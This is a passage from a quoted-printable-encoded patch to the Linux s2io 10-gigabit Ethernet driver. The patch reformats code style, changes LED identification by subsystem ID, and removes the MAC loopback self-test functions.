ADAPTER_LED_ON) =0A= - val64 &=3D ~(u64)ADAPTER_LED_ON;=0A= - else=0A= - val64 |=3D ADAPTER_LED_ON;=0A= - write64(&bar0->adapter_control, val64);=0A= - =0A= - mod_timer(&sp->id_timer, jiffies+HZ/2); /* blink once in 1 sec */=0A= + ret =3D=0A= + pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= + (u16 *) & subid);=0A= +=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 ^=3D GPIO_CTRL_GPIO_0;=0A= + write64(&bar0->gpio_control, val64);=0A= + } else {=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + val64 ^=3D ADAPTER_LED_ON;=0A= + write64(&bar0->adapter_control, val64);=0A= + }=0A= +=0A= + mod_timer(&sp->id_timer, jiffies + HZ / 2); /* blink once in 1 sec */=0A= }=0A= =0A= /*=0A= @@ -2871,34 +3015,37 @@ static void s2io_phy_id(unsigned long da=0A= * NOTE: The Link has to be Up to be able to blink the LED. Hence =0A= * identification is possible only if it's link is up.=0A= */=0A= -static void s2io_ethtool_idnic(nic_t *sp, struct ethtool_value *id)=0A= -{ =0A= - u64 val64 =3D 0;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= +static void s2io_ethtool_idnic(nic_t * sp, struct ethtool_value *id)=0A= +{=0A= + u64 val64 =3D 0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + int ret;=0A= + u16 subid;=0A= =0A= - if(sp->id_timer.function =3D=3D NULL) {=0A= + ret =3D=0A= + pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= + (u16 *) & subid);=0A= + if ((subid & 0xFF) < 0x07) {=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + if (!(val64 & ADAPTER_CNTL_EN)) {=0A= + printk(KERN_ERR=0A= + "Adapter Link down, cannot blink LED\n");=0A= + return;=0A= + }=0A= + }=0A= + if (sp->id_timer.function =3D=3D NULL) {=0A= init_timer(&sp->id_timer);=0A= sp->id_timer.function =3D s2io_phy_id;=0A= - sp->id_timer.data =3D (unsigned long)sp;=0A= - }=0A= - val64 =3D read64(&bar0->adapter_control);=0A= - if(!(val64 & ADAPTER_CNTL_EN)) {=0A= - printk(KERN_ERR"Adapter Link down, cannot blink LED\n");=0A= - return;=0A= + sp->id_timer.data =3D (unsigned long) sp;=0A= }=0A= -=0A= - sp->adapt_ctrl_org =3D val64 & ADAPTER_LED_ON;=0A= mod_timer(&sp->id_timer, jiffies);=0A= set_current_state(TASK_INTERRUPTIBLE);=0A= - if(id->data)=0A= + if (id->data)=0A= schedule_timeout(id->data * HZ);=0A= else=0A= schedule_timeout(MAX_SCHEDULE_TIMEOUT);=0A= del_timer_sync(&sp->id_timer);=0A= =0A= - val64 =3D read64(&bar0->adapter_control);=0A= - val64 |=3D sp->adapt_ctrl_org; =0A= - write64(&bar0->adapter_control, val64);=0A= }=0A= #endif=0A= =0A= @@ -2912,15 +3059,16 @@ static void s2io_ethtool_idnic(nic_t *sp=0A= * Description:=0A= * Returns the Pause frame generation and reception capability of the = NIC.=0A= */=0A= -static void s2io_ethtool_getpause_data(nic_t *sp, struct = ethtool_pauseparam *ep)=0A= +static void s2io_ethtool_getpause_data(nic_t * sp,=0A= + struct ethtool_pauseparam *ep)=0A= {=0A= - u64 val64; =0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - =0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= - if( val64 & RMAC_PAUSE_GEN_ENABLE )=0A= + if (val64 & RMAC_PAUSE_GEN_ENABLE)=0A= ep->tx_pause =3D TRUE;=0A= - if( val64 & RMAC_PAUSE_RX_ENABLE )=0A= + if (val64 & RMAC_PAUSE_RX_ENABLE)=0A= ep->rx_pause =3D TRUE;=0A= ep->autoneg =3D FALSE;=0A= }=0A= @@ -2936,17 +3084,18 @@ static void s2io_ethtool_getpause_data(n=0A= * It can be used to set or reset Pause frame generation or reception = support =0A= * of the NIC.=0A= */=0A= -static void s2io_ethtool_setpause_data(nic_t *sp, struct = ethtool_pauseparam *ep)=0A= +static void s2io_ethtool_setpause_data(nic_t * sp,=0A= + struct ethtool_pauseparam *ep)=0A= {=0A= - u64 val64; =0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - =0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= - if(ep->tx_pause)=0A= + if (ep->tx_pause)=0A= val64 |=3D RMAC_PAUSE_GEN_ENABLE;=0A= else=0A= val64 &=3D ~RMAC_PAUSE_GEN_ENABLE;=0A= - if(ep->rx_pause)=0A= + if (ep->rx_pause)=0A= val64 |=3D RMAC_PAUSE_RX_ENABLE;=0A= else=0A= val64 &=3D ~RMAC_PAUSE_RX_ENABLE;=0A= @@ -2967,20 +3116,20 @@ static void s2io_ethtool_setpause_data(n=0A= * I2C bus.=0A= */=0A= #define S2IO_DEV_ID 5=0A= -static u32 readEeprom(nic_t *sp, int off)=0A= +static u32 readEeprom(nic_t * sp, int off)=0A= {=0A= u32 data =3D -1, exit_cnt =3D 0;=0A= u64 val64;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - =0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= - I2C_CONTROL_BYTE_CNT(0x3) | I2C_CONTROL_READ | =0A= - I2C_CONTROL_CNTL_START;=0A= + I2C_CONTROL_BYTE_CNT(0x3) | I2C_CONTROL_READ |=0A= + I2C_CONTROL_CNTL_START;=0A= write64(&bar0->i2c_control, val64);=0A= =0A= - while(exit_cnt < 5) {=0A= + while (exit_cnt < 5) {=0A= val64 =3D read64(&bar0->i2c_control);=0A= - if(I2C_CONTROL_CNTL_END(val64)) {=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= data =3D I2C_CONTROL_GET_DATA(val64);=0A= break;=0A= }=0A= @@ -2990,7 +3139,7 @@ static u32 readEeprom(nic_t *sp, int off=0A= =0A= return data;=0A= }=0A= - =0A= +=0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= @@ -3005,21 +3154,21 @@ static u32 readEeprom(nic_t *sp, int off=0A= * Actually writes the relevant part of the data value into the Eeprom=0A= * through the I2C bus.=0A= */=0A= -static int writeEeprom(nic_t *sp, int off, u32 data, int cnt)=0A= +static int writeEeprom(nic_t * sp, int off, u32 data, int cnt)=0A= {=0A= int exit_cnt =3D 0, ret =3D -1;=0A= u64 val64;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - =0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= - I2C_CONTROL_BYTE_CNT(cnt) | I2C_CONTROL_SET_DATA(data) |=0A= - I2C_CONTROL_CNTL_START; =0A= + I2C_CONTROL_BYTE_CNT(cnt) | I2C_CONTROL_SET_DATA(data) |=0A= + I2C_CONTROL_CNTL_START;=0A= write64(&bar0->i2c_control, val64);=0A= - =0A= - while(exit_cnt < 5) {=0A= +=0A= + while (exit_cnt < 5) {=0A= val64 =3D read64(&bar0->i2c_control);=0A= - if(I2C_CONTROL_CNTL_END(val64)) {=0A= - if(!(val64 & I2C_CONTROL_NACK))=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= + if (!(val64 & I2C_CONTROL_NACK))=0A= ret =3D 0;=0A= break;=0A= }=0A= @@ -3039,7 +3188,7 @@ u32 inv(u32 data)=0A= {=0A= static u32 ret =3D 0;=0A= =0A= - if(data) {=0A= + if (data) {=0A= u8 c =3D data;=0A= ret =3D ((ret << 8) + c);=0A= data >>=3D 8;=0A= @@ -3063,24 +3212,24 @@ u32 inv(u32 data)=0A= * Stores these values int the input argument data buffer 'data_buf' = and=0A= * returns these to the caller (ethtool.)=0A= */=0A= -static void s2io_ethtool_geeprom(nic_t *sp, struct ethtool_eeprom = *eeprom, =0A= - char *data_buf)=0A= +static void s2io_ethtool_geeprom(nic_t * sp, struct ethtool_eeprom = *eeprom,=0A= + char *data_buf)=0A= {=0A= u32 data, i, valid;=0A= - =0A= +=0A= eeprom->magic =3D sp->pdev->vendor | (sp->pdev->device << 16);=0A= - =0A= - if((eeprom->offset + eeprom->len) > (XENA_EEPROM_SPACE))=0A= - eeprom->len =3D XENA_EEPROM_SPACE - eeprom->offset;=0A= -=0A= - for(i=3D0; i < eeprom->len; i +=3D 4) {=0A= - data =3D readEeprom(sp, eeprom->offset+i);=0A= - if(data < 0) {=0A= - DBG_PRINT(ERR_DBG,"Read of EEPROM failed\n");=0A= +=0A= + if ((eeprom->offset + eeprom->len) > (XENA_EEPROM_SPACE))=0A= + eeprom->len =3D XENA_EEPROM_SPACE - eeprom->offset;=0A= +=0A= + for (i =3D 0; i < eeprom->len; i +=3D 4) {=0A= + data =3D readEeprom(sp, eeprom->offset + i);=0A= + if (data < 0) {=0A= + DBG_PRINT(ERR_DBG, "Read of EEPROM failed\n");=0A= return;=0A= }=0A= valid =3D inv(data);=0A= - memcpy((data_buf+i), &valid, 4);=0A= + memcpy((data_buf + i), &valid, 4);=0A= }=0A= }=0A= =0A= @@ -3097,36 +3246,39 @@ static void s2io_ethtool_geeprom(nic_t *=0A= * Tries to write the user provided value in the Eeprom, at the offset=0A= * given by the user.=0A= */=0A= -static int s2io_ethtool_seeprom(nic_t *sp, struct ethtool_eeprom = *eeprom, =0A= - char *data_buf) =0A= +static int s2io_ethtool_seeprom(nic_t * sp, struct ethtool_eeprom = *eeprom,=0A= + char *data_buf)=0A= {=0A= int len =3D eeprom->len, cnt =3D 0;=0A= u32 valid =3D 0, data;=0A= - =0A= - if(eeprom->magic !=3D (sp->pdev->vendor | (sp->pdev->device << 16))) {=0A= - DBG_PRINT(ERR_DBG,"ETHTOOL_WRITE_EEPROM Err: Magic value ");=0A= - DBG_PRINT(ERR_DBG,"is wrong, Its not 0x%x\n", eeprom->magic);=0A= +=0A= + if (eeprom->magic !=3D (sp->pdev->vendor | (sp->pdev->device << 16))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Magic value ");=0A= + DBG_PRINT(ERR_DBG, "is wrong, Its not 0x%x\n",=0A= + eeprom->magic);=0A= return -EFAULT;=0A= }=0A= - =0A= - while(len) {=0A= +=0A= + while (len) {=0A= data =3D (u32) data_buf[cnt] & 0x000000FF;=0A= - if(data) {=0A= - valid =3D (u32)(data << 24);=0A= - }=0A= - else=0A= + if (data) {=0A= + valid =3D (u32) (data << 24);=0A= + } else=0A= valid =3D data;=0A= - =0A= - if(writeEeprom(sp, (eeprom->offset+cnt), valid, 0)) {=0A= - DBG_PRINT(ERR_DBG,"ETHTOOL_WRITE_EEPROM Err: Cannot ");=0A= - DBG_PRINT(ERR_DBG,"write into the specified offset\n");=0A= +=0A= + if (writeEeprom(sp, (eeprom->offset + cnt), valid, 0)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Cannot ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "write into the specified offset\n");=0A= return -EFAULT;=0A= }=0A= cnt++;=0A= len--;=0A= }=0A= =0A= - return 0; =0A= + return 0;=0A= }=0A= =0A= /*=0A= @@ -3141,50 +3293,50 @@ static int s2io_ethtool_seeprom(nic_t *s=0A= * Read and write into all clock domains. The NIC has 3 clock domains,=0A= * see that registers in all the three regions are accessible.=0A= */=0A= -static int s2io_registerTest(nic_t *sp, uint64_t *data)=0A= +static int s2io_registerTest(nic_t * sp, uint64_t * data)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0;=0A= int fail =3D 0;=0A= =0A= val64 =3D read64(&bar0->pcc_enable);=0A= - if(val64 !=3D 0xff00000000000000ULL) {=0A= + if (val64 !=3D 0xff00000000000000ULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(INFO_DBG,"Read Test level 1 fails\n");=0A= + DBG_PRINT(INFO_DBG, "Read Test level 1 fails\n");=0A= }=0A= - =0A= +=0A= val64 =3D read64(&bar0->rmac_pause_cfg);=0A= - if(val64 !=3D 0xc000ffff00000000ULL) {=0A= + if (val64 !=3D 0xc000ffff00000000ULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(INFO_DBG,"Read Test level 2 fails\n");=0A= + DBG_PRINT(INFO_DBG, "Read Test level 2 fails\n");=0A= }=0A= - =0A= +=0A= val64 =3D read64(&bar0->rx_queue_cfg);=0A= - if(val64 !=3D 0x0808080808080808ULL) {=0A= + if (val64 !=3D 0x0808080808080808ULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(INFO_DBG,"Read Test level 3 fails\n");=0A= + DBG_PRINT(INFO_DBG, "Read Test level 3 fails\n");=0A= }=0A= - =0A= +=0A= val64 =3D read64(&bar0->xgxs_efifo_cfg);=0A= - if(val64 !=3D 0x000000001923141EULL) {=0A= + if (val64 !=3D 0x000000001923141EULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(INFO_DBG,"Read Test level 4 fails\n");=0A= + DBG_PRINT(INFO_DBG, "Read Test level 4 fails\n");=0A= }=0A= - =0A= +=0A= val64 =3D 0x5A5A5A5A5A5A5A5AULL;=0A= write64(&bar0->xmsi_data, val64);=0A= - val64 =3D read64(&bar0->xmsi_data); =0A= - if(val64 !=3D 0x5A5A5A5A5A5A5A5AULL) {=0A= + val64 =3D read64(&bar0->xmsi_data);=0A= + if (val64 !=3D 0x5A5A5A5A5A5A5A5AULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(ERR_DBG,"Write Test level 1 fails\n");=0A= + DBG_PRINT(ERR_DBG, "Write Test level 1 fails\n");=0A= }=0A= =0A= val64 =3D 0xA5A5A5A5A5A5A5A5ULL;=0A= write64(&bar0->xmsi_data, val64);=0A= - val64 =3D read64(&bar0->xmsi_data); =0A= - if(val64 !=3D 0xA5A5A5A5A5A5A5A5ULL) {=0A= + val64 =3D read64(&bar0->xmsi_data);=0A= + if (val64 !=3D 0xA5A5A5A5A5A5A5A5ULL) {=0A= fail =3D 1;=0A= - DBG_PRINT(ERR_DBG,"Write Test level 2 fails\n");=0A= + DBG_PRINT(ERR_DBG, "Write Test level 2 fails\n");=0A= }=0A= =0A= *data =3D fail;=0A= @@ -3203,58 +3355,58 @@ static int s2io_registerTest(nic_t *sp, =0A= * Verify that EEPROM in the xena can be programmed using I2C_CONTROL =0A= * register.=0A= */=0A= -static int s2io_eepromTest(nic_t *sp, uint64_t *data)=0A= +static int s2io_eepromTest(nic_t * sp, uint64_t * data)=0A= {=0A= int fail =3D 0, ret_data;=0A= =0A= - /* Test Write Error at offset 0*/=0A= - if(!writeEeprom(sp, 0, 0, 3))=0A= + /* Test Write Error at offset 0 */=0A= + if (!writeEeprom(sp, 0, 0, 3))=0A= fail =3D 1;=0A= =0A= - /* Test Write at offset 4f0 */ =0A= - if(writeEeprom(sp, 0x4F0, 0x01234567, 3))=0A= + /* Test Write at offset 4f0 */=0A= + if (writeEeprom(sp, 0x4F0, 0x01234567, 3))=0A= fail =3D 1;=0A= - if((ret_data =3D readEeprom(sp, 0x4f0)) < 0)=0A= + if ((ret_data =3D readEeprom(sp, 0x4f0)) < 0)=0A= fail =3D 1;=0A= =0A= - if(ret_data !=3D 0x01234567)=0A= + if (ret_data !=3D 0x01234567)=0A= fail =3D 1;=0A= =0A= - /* Reset the EEPROM data go FFFF*/=0A= + /* Reset the EEPROM data go FFFF */=0A= writeEeprom(sp, 0x4F0, 0xFFFFFFFF, 3);=0A= =0A= - /* Test Write Request Error at offset 0x7c*/=0A= - if(!writeEeprom(sp, 0x07C, 0, 3))=0A= + /* Test Write Request Error at offset 0x7c */=0A= + if (!writeEeprom(sp, 0x07C, 0, 3))=0A= fail =3D 1;=0A= - =0A= - /* Test Write Request at offset 0x7fc*/ =0A= - if(writeEeprom(sp, 0x7FC, 0x01234567, 3))=0A= +=0A= + /* Test Write Request at offset 0x7fc */=0A= + if (writeEeprom(sp, 0x7FC, 0x01234567, 3))=0A= fail =3D 1;=0A= - if((ret_data =3D readEeprom(sp, 0x7FC)) < 0)=0A= + if ((ret_data =3D readEeprom(sp, 0x7FC)) < 0)=0A= fail =3D 1;=0A= =0A= - if(ret_data !=3D 0x01234567)=0A= + if (ret_data !=3D 0x01234567)=0A= fail =3D 1;=0A= =0A= - /* Reset the EEPROM data go FFFF*/ =0A= + /* Reset the EEPROM data go FFFF */=0A= writeEeprom(sp, 0x7FC, 0xFFFFFFFF, 3);=0A= =0A= /* Test Write Error at offset 0x80 */=0A= - if(!writeEeprom(sp, 0x080, 0, 3))=0A= + if (!writeEeprom(sp, 0x080, 0, 3))=0A= fail =3D 1;=0A= - =0A= +=0A= /* Test Write Error at offset 0xfc */=0A= - if(!writeEeprom(sp, 0x0FC, 0, 3))=0A= + if (!writeEeprom(sp, 0x0FC, 0, 3))=0A= fail =3D 1;=0A= - =0A= - /* Test Write Error at offset 0x100*/=0A= - if(!writeEeprom(sp, 0x100, 0, 3))=0A= +=0A= + /* Test Write Error at offset 0x100 */=0A= + if (!writeEeprom(sp, 0x100, 0, 3))=0A= fail =3D 1;=0A= - =0A= +=0A= /* Test Write Error at offset 4ec */=0A= - if(!writeEeprom(sp, 0x4EC, 0, 3))=0A= + if (!writeEeprom(sp, 0x4EC, 0, 3))=0A= fail =3D 1;=0A= - =0A= +=0A= *data =3D fail;=0A= return 0;=0A= }=0A= @@ -3272,7 +3424,7 @@ static int s2io_eepromTest(nic_t *sp, ui=0A= * 2 secs time for the Test to complete. If it's still not complete=0A= * within this peiod, we consider that the test failed. =0A= */=0A= -static int s2io_bistTest(nic_t *sp, uint64_t *data)=0A= +static int s2io_bistTest(nic_t * sp, uint64_t * data)=0A= {=0A= u8 bist =3D 0;=0A= int cnt =3D 0, ret =3D -1;=0A= @@ -3281,9 +3433,9 @@ static int s2io_bistTest(nic_t *sp, uint=0A= bist |=3D PCI_BIST_START;=0A= pci_write_config_word(sp->pdev, PCI_BIST, bist);=0A= =0A= - while(cnt < 20) {=0A= + while (cnt < 20) {=0A= pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= - if(!(bist & PCI_BIST_START)) {=0A= + if (!(bist & PCI_BIST_START)) {=0A= *data =3D (bist & PCI_BIST_CODE_MASK);=0A= ret =3D 0;=0A= break;=0A= @@ -3307,195 +3459,15 @@ static int s2io_bistTest(nic_t *sp, uint=0A= * The function verifies the link state of the NIC and updates the = input =0A= * argument 'data' appropriately.=0A= */=0A= -static int s2io_linkTest(nic_t *sp, uint64_t *data)=0A= -{=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - u64 val64;=0A= -=0A= - val64 =3D read64(&bar0->adapter_status);=0A= - if(val64 & ADAPTER_STATUS_RMAC_LOCAL_FAULT)=0A= - *data =3D 1;=0A= - =0A= - return 0;=0A= -}=0A= -=0A= -/*=0A= - * Input Argument/s: =0A= - * skb - Received packet buffer.=0A= - * dev - pointer to the device structure of the NIC.=0A= - * pt - the packet type structure used to register this particular = protocol=0A= - * function.=0A= - * Return value:=0A= - * '0' on success.=0A= - * Description:=0A= - * The function receives the Loopback test frames sent up by the = driver's =0A= - * Rx Interrupt handler and increments a device specefic counter that = keeps =0A= - * track of how many of these frames were received. It also frees up = the =0A= - * packet buffer (skb).=0A= - */=0A= -int eth_test_rcvr(struct sk_buff *skb, struct net_device *dev, =0A= - struct packet_type *pt)=0A= -{=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - =0A= - sp->loop_pkt_cnt++;=0A= - dev_kfree_skb(skb);=0A= - =0A= - DBG_PRINT(INFO_DBG,"Was in Loopback Rcv %d times\n",sp->loop_pkt_cnt);=0A= - return 0;=0A= -}=0A= -=0A= -/*=0A= - * Input Argument/s: =0A= - * sp - private member of the device structure, which is a pointer to = the =0A= - * s2io_nic structure.=0A= - * Return value:=0A= - * void=0A= - * Description:=0A= - * The functions puts the MAC in loopback mode and adds a private = protocol =0A= - * function to receive the Loopback test frames sent out while testing.=0A= - */=0A= -void setup_loopback(nic_t *sp)=0A= -{=0A= - =0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - u64 val64;=0A= - void *add;=0A= -=0A= - /* Putting device into MAC Loopback */=0A= - val64 =3D read64(&bar0->mac_cfg);=0A= - val64 |=3D MAC_CFG_TMAC_LOOPBACK;=0A= -=0A= - add =3D (void *)&bar0->mac_cfg;=0A= - write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64), add);=0A= - write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64 >>32), (add+4));=0A= - val64 =3D read64(&bar0->mac_cfg);=0A= - =0A= - dev_add_pack(ðtool_test);=0A= -}=0A= -=0A= -/*=0A= - * Input Argument/s: =0A= - * sp - private member of the device structure, which is a pointer to = the =0A= - * s2io_nic structure.=0A= - * Return value:=0A= - * 0 on success and -ENOMEM on failure.=0A= - * Description:=0A= - * The function creates a special Test frame with a private packet = type/length=0A= - * field and a sequence number and transmits it. Three such packets are=0A= - * transmitted.=0A= - */=0A= -int send_testFrms(nic_t *sp)=0A= -{=0A= - int cnt =3D 1;=0A= - while(cnt < 4) {=0A= - u8 *buf;=0A= - struct sk_buff *skb =3D dev_alloc_skb(TEST_FRM_SIZE+ETH_HLEN);=0A= - if(!skb)=0A= - return -ENOMEM;=0A= - =0A= - skb->dev =3D sp->dev;=0A= - skb->mac.raw =3D skb_put(skb, TEST_FRM_SIZE);=0A= - memcpy(skb->mac.raw, sp->dev->dev_addr, ETH_ALEN);=0A= - memcpy(skb->mac.raw+ETH_ALEN, sp->dev->dev_addr, ETH_ALEN);=0A= - skb->mac.raw[2*ETH_ALEN] =3D ntohs(ETH_LOOP_TEST_TYPE)/0x100;=0A= - skb->mac.raw[2*ETH_ALEN+1] =3D ntohs(ETH_LOOP_TEST_TYPE)%0x100;=0A= - =0A= - skb->nh.raw =3D skb->mac.raw+ETH_HLEN;=0A= - buf =3D (u8 *)skb->nh.raw;=0A= - *buf =3D cnt;=0A= - memset((buf+TEST_SEQ_SIZE), 0xA5, =0A= - (TEST_FRM_SIZE - TEST_SEQ_SIZE));=0A= - dev_queue_xmit(skb);=0A= - cnt++;=0A= - }=0A= - return 0;=0A= -}=0A= -=0A= -/*=0A= - * Input Argument/s: =0A= - * sp - private member of the device structure, which is a pointer to = the =0A= - * s2io_nic structure.=0A= - * Return value:=0A= - * 0 on success and -1 on failure.=0A= - * Description:=0A= - * The function verifies if we indeed received 3 Loopback test frames.=0A= - */=0A= -int verify_testFrms(nic_t *sp)=0A= +static int s2io_linkTest(nic_t * sp, uint64_t * data)=0A= {=0A= - int ret =3D 0;=0A= -=0A= - if(sp->loop_pkt_cnt !=3D ETH_LOOP_TEST_CNT) {=0A= - DBG_PRINT(ERR_DBG,"Pkts received: %d\n",sp->loop_pkt_cnt);=0A= - ret =3D -1;=0A= - }=0A= - =0A= - return ret;=0A= -}=0A= -=0A= -/*=0A= - * Input Argument/s: =0A= - * sp - private member of the device structure, which is a pointer to = the =0A= - * s2io_nic structure.=0A= - * Return value:=0A= - * void=0A= - * Description:=0A= - * The function will remove the MAC from loop back mode and also = removes the=0A= - * private protocol function added into the kernel to handle special = loop =0A= - * back frames sent out while testing.=0A= - */=0A= -void reset_loopback(nic_t *sp)=0A= -{=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= - void *add;=0A= =0A= - /* Re-setting Loop counter to 0. */=0A= - sp->loop_pkt_cnt =3D 0;=0A= -=0A= - /* Removing device from MAC Loopback */=0A= - val64 =3D read64(&bar0->mac_cfg);=0A= - val64 &=3D ~MAC_CFG_TMAC_LOOPBACK;=0A= - add =3D (void *)&bar0->mac_cfg;=0A= - write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64), add);=0A= - write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64 >>32), (add+4));=0A= - val64 =3D read64(&bar0->mac_cfg);=0A= - =0A= - dev_remove_pack(ðtool_test);=0A= -}=0A= - =0A= -/*=0A= - * Input Argument/s: =0A= - * sp - private member of the device structure, which is a pointer to = the =0A= - * s2io_nic structure.=0A= - * data - variable that returns the result of each of the test = conducted by =0A= - * the driver.=0A= - * Return value:=0A= - * '0' on success or -1 on failure.=0A= - * Description:=0A= - * The function puts the device in MAC loopback mode and =0A= - * sends 3 test frames which must be received within 3 seconds for the=0A= - * test to be deemed successful.=0A= - */=0A= -static int s2io_loopbackTest(nic_t *sp, uint64_t *data)=0A= -{=0A= - setup_loopback(sp);=0A= - if(send_testFrms(sp)) {=0A= - DBG_PRINT(ERR_DBG,"Out of memory, cant allocate loop ");=0A= - DBG_PRINT(ERR_DBG,"back frames\n");=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (val64 & ADAPTER_STATUS_RMAC_LOCAL_FAULT)=0A= *data =3D 1;=0A= - return -1;=0A= - }=0A= -=0A= - set_current_state(TASK_INTERRUPTIBLE);=0A= - schedule_timeout(HZ * ETH_LOOP_TEST_DELAY);=0A= =0A= - *data =3D verify_testFrms(sp);=0A= - reset_loopback(sp); =0A= return 0;=0A= }=0A= =0A= @@ -3511,16 +3483,16 @@ static int s2io_loopbackTest(nic_t *sp, =0A= * This is one of the offline test that tests the read and write =0A= * access to the RldRam chip on the NIC.=0A= */=0A= -static int s2io_rldramTest(nic_t *sp, uint64_t *data)=0A= +static int s2io_rldramTest(nic_t * sp, uint64_t * data)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= int cnt, iteration =3D 0, test_pass =3D 0;=0A= =0A= val64 =3D read64(&bar0->adapter_control);=0A= val64 &=3D ~ADAPTER_ECC_EN;=0A= write64(&bar0->adapter_control, val64);=0A= - =0A= +=0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= val64 |=3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= @@ -3531,71 +3503,77 @@ static int s2io_rldramTest(nic_t *sp, ui=0A= =0A= val64 |=3D MC_RLDRAM_MRS_ENABLE;=0A= write64(&bar0->mc_rldram_mrs, val64);=0A= - =0A= - while(iteration < 2) {=0A= +=0A= + while (iteration < 2) {=0A= val64 =3D 0x55555555aaaa0000;=0A= if (iteration =3D=3D 1) {=0A= val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= }=0A= write64(&bar0->mc_rldram_test_d0, val64);=0A= - =0A= +=0A= val64 =3D 0xaaaa5a5555550000;=0A= - if (iteration =3D=3D 1) {val64 ^=3D 0xFFFFFFFFFFFF0000;}=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= + }=0A= write64(&bar0->mc_rldram_test_d1, val64);=0A= - =0A= +=0A= val64 =3D 0x55aaaaaaaa5a0000;=0A= - if (iteration =3D=3D 1) {val64 ^=3D 0xFFFFFFFFFFFF0000;}=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000;=0A= + }=0A= write64(&bar0->mc_rldram_test_d2, val64);=0A= - =0A= - val64 =3D (u64)(0x0000003fffff0000); =0A= +=0A= + val64 =3D (u64) (0x0000003fffff0000);=0A= write64(&bar0->mc_rldram_test_add, val64);=0A= - =0A= +=0A= =0A= val64 =3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= - =0A= - val64 |=3D MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_WRITE | = MC_RLDRAM_TEST_GO;=0A= +=0A= + val64 |=3D=0A= + MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_WRITE |=0A= + MC_RLDRAM_TEST_GO;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= - =0A= - for(cnt=3D0;cnt<5;cnt++){=0A= +=0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= - if(val64 & MC_RLDRAM_TEST_DONE)=0A= - break;=0A= - mdelay(200);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + mdelay(200);=0A= }=0A= =0A= - if(cnt =3D=3D 5)=0A= + if (cnt =3D=3D 5)=0A= break;=0A= =0A= val64 =3D MC_RLDRAM_TEST_MODE;=0A= write64(&bar0->mc_rldram_test_ctrl, val64);=0A= - =0A= +=0A= val64 |=3D MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_GO;=0A= write64(&bar0->mc_rldram_test_ctrl, 